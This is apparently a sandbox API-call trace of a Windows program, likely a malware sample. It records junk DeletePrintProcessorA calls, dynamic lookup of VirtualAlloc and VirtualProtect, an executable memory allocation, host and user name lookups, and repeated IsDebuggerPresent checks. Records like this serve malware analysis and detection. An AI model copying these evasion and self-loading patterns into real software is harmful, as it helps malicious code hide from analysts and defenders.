[0062.029] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.030] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.030] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.030] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.030] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.030] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.030] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.030] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.031] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.031] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.031] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.031] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.031] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.031] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.031] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.032] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.032] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.032] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.032] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.032] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.032] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.032] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.033] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.034] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.034] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.034] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.034] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.034] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.034] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.034] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.035] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.035] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.035] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.035] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.035] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.035] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.036] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.039] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.039] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.040] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.040] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.040] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.040] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.040] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.040] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.041] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.041] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.041] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.041] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.041] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.041] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.041] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.042] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.042] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.042] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.042] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.042] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.042] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.042] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.043] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.043] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.056] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd10 | out: ProcedureAddress=0x12fd10*=0x763a2fb6) returned 0x0
[0062.056] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0x150000
[0062.059] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd50 | out: ProcedureAddress=0x12fd50*=0x763a2fb6) returned 0x0
[0062.059] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x40) returned 0x160000
[0062.060] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a395c) returned 0x0
[0062.060] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a33d3) returned 0x0
[0062.060] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a2fb6) returned 0x0
[0062.060] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x76392341) returned 0x0
[0062.060] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7639db13) returned 0x0
[0062.060] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x775cf774) returned 0x0
[0062.060] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7763ad2e) returned 0x0
[0062.060] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x775c0000
[0062.060] GetProcAddress (hModule=0x775c0000, lpProcName="cos") returned 0x77607400
[0062.060] GetProcAddress (hModule=0x775c0000, lpProcName="sin") returned 0x775f41c0
[0062.060] GetProcAddress (hModule=0x775c0000, lpProcName="strchr") returned 0x77607690
[0062.060] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0062.060] GetProcAddress (hModule=0x76350000, lpProcName="LoadLibraryA") returned 0x763a395c
[0062.060] GetProcAddress (hModule=0x76350000, lpProcName="lstrcmpA") returned 0x76388c59
[0062.060] GetProcAddress (hModule=0x76350000, lpProcName="CreateFileA") returned 0x7639cee8
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="CloseHandle") returned 0x7639ca7c
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleHandleA") returned 0x7639cf41
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleFileNameA") returned 0x763a33f6
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameA") returned 0x76386ba9
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameExA") returned 0x763df41f
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="GetCommandLineA") returned 0x763a98ff
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="FreeConsole") returned 0x763fbfde
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="VirtualAlloc") returned 0x763a2fb6
[0062.061] GetProcAddress (hModule=0x76350000, lpProcName="IsDebuggerPresent") returned 0x76393ea8
[0062.061] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76030000
[0062.063] GetProcAddress (hModule=0x76030000, lpProcName="GetUserNameA") returned 0x7605a4b4
[0062.063] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x760e0000
[0062.064] GetProcAddress (hModule=0x760e0000, lpProcName="StrStrIA") returned 0x760ed250
[0062.065] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.065] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.066] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] IsDebuggerPresent () returned 0
[0062.067] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.067] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.068] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.069] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.070] IsDebuggerPresent () returned 0
[0062.070] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.071] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.072] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] IsDebuggerPresent () returned 0
[0062.073] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.073] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.074] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.075] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.076] IsDebuggerPresent () returned 0
[0062.076] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.077] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.078] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] IsDebuggerPresent () returned 0
[0062.079] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.079] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.079] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.080] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
